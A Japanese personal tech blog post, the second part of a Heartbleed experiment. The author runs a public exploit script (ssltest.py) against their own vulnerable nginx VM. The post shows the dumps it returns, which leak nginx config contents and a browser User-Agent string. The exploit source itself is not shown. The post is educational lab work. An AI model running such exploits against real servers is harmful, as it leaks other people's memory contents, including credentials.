読者です 読者をやめる 読者になる 読者になる

モラトリアムこじらせた

大人に成り切れない自分を自覚してウジウジと自分探しを延々と繰り返しつつ、気付いてみれば社会人になってからもう何年も経っちゃってて、そういえばローンとかも組んじゃってて、考えてみれば色々と取り返しのつかない年齢になっちゃってて、給料は上がらずリストラに怯えつつ、焦ってみても慌ててみても、やっぱり心に引っ掛るものが何なのか分からず、やっぱりウジウジ自分探しなんかしちゃったりしてる…、そんなモラトリアムをこじらせたあ・な・た(私)にお贈りする技術ブログ

あ、何か漏れてる… OpenSSL Heartbleed 実験その2

さて、二週間前に世を賑わし、もはや誰も覚えてないんじゃないかってぐらい沈静化してしまった Heartbleed 問題ですが(そうでもない?)、泥棒は寝静まったころにやってくるんです。用心しましょう。

しかし一介のユーザーとして対処できることは少ないんですけどね。できることといったら

「ネットを信用しないことを始める」

ぐらいでしょうか? かといって自分の場合ネット依存度が高い今の生活を変えられるかというと、ウ〜ムと唸ってしまいます。

今回は何が漏れるのか?を実際にためしてみましたよ。

前回のおさらい

前回のエントリでは、

  1. 穴の開いた HTTPS サーバを立てる
  2. exploit code を実行する

という手順で「何かわからないけどデータがゲットできちゃう!」ってのをやってみました。

今回はもう少し「どんなモノが漏れ出てくるの?」を、軽〜くですが、見てみましょう。

Heartbleed とは何なのか? どうして漏れちゃうのかは、すでに色々なサイトで解説されてます。例えば:

などのサイトが役立つと思います。つまりは「サーバープロセスのメモリの一部が覗き見できちゃうよ」って、ことです。

漏らしてみよう!!

標的は再び前回こしらえた VM (nginx) を使います。

まずは VM の nginx を再起動します。

$ sudo service nginx restart
 * Restarting nginx nginx                               [ OK ] 

この状態で host PC から exploit を実行してみます。

$ python ./ssltest.py 192.168.195.205

すると、

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 875
 ... received message: type = 22, ver = 0302, length = 875
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00  ....#...........
  00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

    .....

  3f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!
Server length: 16384

先頭にゴミのようなものは見えますが、概ね 00 で埋めつくされているようです。 nginx のプロセスを restart で再起動したので nginx がメモリを初期化したのでしょう。

nginx の設定を reload すると…

さて、ここでおもむろに!! nginx の設定をリロードしてみます。

$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 

さらにしつこく2回ぐらいリロードしてみます。

$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 
$ sudo service nginx reload
 * Reloading nginx configuration nginx                  [ OK ] 

そしたら再び host から exploit を実行してみます。

$ python ./ssltest.py 192.168.195.205

…なんということでしょう…!

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 875
 ... received message: type = 22, ver = 0302, length = 875
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".

        ...

  0450: 30 15 80 00 00 00 00 00 00 00 00 00 00 00 00 00  0...............
  0460: 00 00 00 00 00 00 00 00 61 70 70 6C 69 63 61 74  ........applicat
  0470: 69 6F 6E 2F 78 2D 72 61 72 2D 63 6F 6D 70 72 65  ion/x-rar-compre
  0480: 73 73 65 64 00 00 72 61 72 00 00 00 00 00 00 00  ssed..rar.......
  0490: 1C 00 00 00 00 00 00 00 D0 50 7F 00 00 00 00 00  .........P......
  04a0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 72 65  application/x-re
  04b0: 64 68 61 74 2D 70 61 63 6B 61 67 65 2D 6D 61 6E  dhat-package-man
  04c0: 61 67 65 72 00 00 72 70 6D 00 00 00 00 00 00 00  ager..rpm.......
  04d0: 24 00 00 00 00 00 00 00 08 51 7F 00 00 00 00 00  $........Q......
  04e0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 65  application/x-se
  04f0: 61 00 00 73 65 61 00 00 11 00 00 00 00 00 00 00  a..sea..........
  0500: 48 51 7F 00 00 00 00 00 61 70 70 6C 69 63 61 74  HQ......applicat
  0510: 69 6F 6E 2F 78 2D 73 68 6F 63 6B 77 61 76 65 2D  ion/x-shockwave-
  0520: 66 6C 61 73 68 00 00 73 77 66 00 00 00 00 00 00  flash..swf......
  0530: 1D 00 00 00 00 00 00 00 70 51 7F 00 00 00 00 00  ........pQ......
  0540: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 74  application/x-st
  0550: 75 66 66 69 74 00 00 73 69 74 00 00 00 00 00 00  uffit..sit......
  0560: 15 00 00 00 00 00 00 00 A8 51 7F 00 00 00 00 00  .........Q......
  0570: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 74 63  application/x-tc
  0580: 6C 00 00 74 63 6C 00 00 74 6B 00 00 00 00 00 00  l..tcl..tk......
  0590: 11 00 00 00 00 00 00 00 D8 51 7F 00 00 00 00 00  .........Q......
  05a0: 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 78 35  application/x-x5
  05b0: 30 39 2D 63 61 2D 63 65 72 74 00 00 64 65 72 00  09-ca-cert..der.
  05c0: 00 70 65 6D 00 00 63 72 74 00 00 00 00 00 00 00  .pem..crt.......
  05d0: 1A 00 00 00 00 00 00 00 08 52 7F 00 00 00 00 00  .........R......

なんか文字らしきものが見えてきました!! これは nginx の設定ファイルの

    /etc/nginx/mime.types

の一部:

    ...
    application/x-rar-compressed            rar;
    application/x-redhat-package-manager    rpm;
    application/x-sea                       sea;
    application/x-shockwave-flash           swf;
    application/x-stuffit                   sit;
    application/x-tcl                       tcl tk;
    application/x-x509-ca-cert              der pem crt;
    application/x-xpinstall                 xpi;
    application/xhtml+xml                   xhtml;
    application/zip                         zip;

    ...

完全に一致ッ!!

( ゚д゚)ポカーン

…気をとりなおして、もう少し下の方にいくと…

  2370: 01 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00  ................
  2380: 6C 69 73 74 65 6E 00 00 34 34 33 00 00 73 73 6C  listen..443..ssl
  2390: 00 00 6F 6E 00 00 73 73 6C 5F 63 65 72 74 69 66  ..on..ssl_certif
  23a0: 69 63 61 74 65 00 00 2F 65 74 63 2F 6E 67 69 6E  icate../etc/ngin
  23b0: 78 2F 63 65 72 74 2E 63 72 74 00 00 73 73 6C 5F  x/cert.crt..ssl_
  23c0: 63 65 72 74 69 66 69 63 61 74 65 5F 6B 65 79 00  certificate_key.

これって前回のエントリーで自分で書いた https.conf の中身

server {
    listen 443;
    ssl on;
    ssl_certificate      /etc/nginx/cert.crt;
    ssl_certificate_key  /etc/nginx/cert.key;
}

じゃね…? (震え声)

'`,、('∀`) '`,、

ブラウザからアクセスすると?

Chrome から https://192.168.195.205/ にアクセスしてみました。証明書が前回自作したなんちゃって版なので警告が出ますが、無視して接続しましょう。

Welcome to nginx!

とか(のんきな感じで)出てます。

さて、また漏らしてもらいましょう。

$ python ./ssltest.py 192.168.xxx.xxx
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66

        ...(略)...

Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...

        ...(略)...

  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 36 20 28 4B  ....#.......6 (K
  00e0: 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F  HTML, like Gecko
  00f0: 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E 31 38  ) Chrome/34.0.18
  0100: 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F 35 33  47.116 Safari/53
  0110: 37 2E 33 36 0D 0A 41 63 63 65 70 74 2D 45 6E 63  7.36..Accept-Enc
  0120: 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 64 65 66 6C  oding: gzip,defl
  0130: 61 74 65 2C 73 64 63 68 0D 0A 41 63 63 65 70 74  ate,sdch..Accept
  0140: 2D 4C 61 6E 67 75 61 67 65 3A 20 6A 61 2C 65 6E  -Language: ja,en
  0150: 2D 55 53 3B 71 3D 30 2E 38 2C 65 6E 3B 71 3D 30  -US;q=0.8,en;q=0
  0160: 2E 36 0D 0A 0D 0A BB 6D BA 3F 7E FC B0 6D F7 7E  .6.....m.?~..m.~
  0170: 4A 2B DE CA 7D 03 8B 47 00 86 00 00 00 00 00 00  J+..}..G........
  0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

えっと、なんか出てませんか…。"6 (KHTML, like Gecko) Chrome/34.0.18..." って…ブラウザの USER_AGENT の値の一部じゃない?!

まとめ

今回は、次のような簡単な実験:

  1. nginx を reload した
  2. 外から Chrome で nginx に繋いだ

だけで、

  1. nginx の設定ファイルの一部が見えた!
  2. Chrome の USER_AGENT の一部が見えた!

ってのが確認できてしまいました。

今回はお一人様での簡単な実験なので「 ( ´_ゝ`)フーン」って感じでしょうが、本来であれば、

  1. サーバーの設定ファイルを、サーバーの外から誰でも自由に見えるようにしてないよね?
  2. 自分が繋いだ Chrome の USER_AGENT をアカの他人が自由に見られるなんてことないよね?

今回は試してませんが、例えばサーバーが Database に何か書いたり読んだりしてるとか、サーバーが URL に埋め込まれた user id と password を処理してるとか…、そういうのもこうやって読めてしまうのかもしれません。

ちなみに環境によっては同じ結果にならないかもしれません。いろいろと試して遊んでみてください。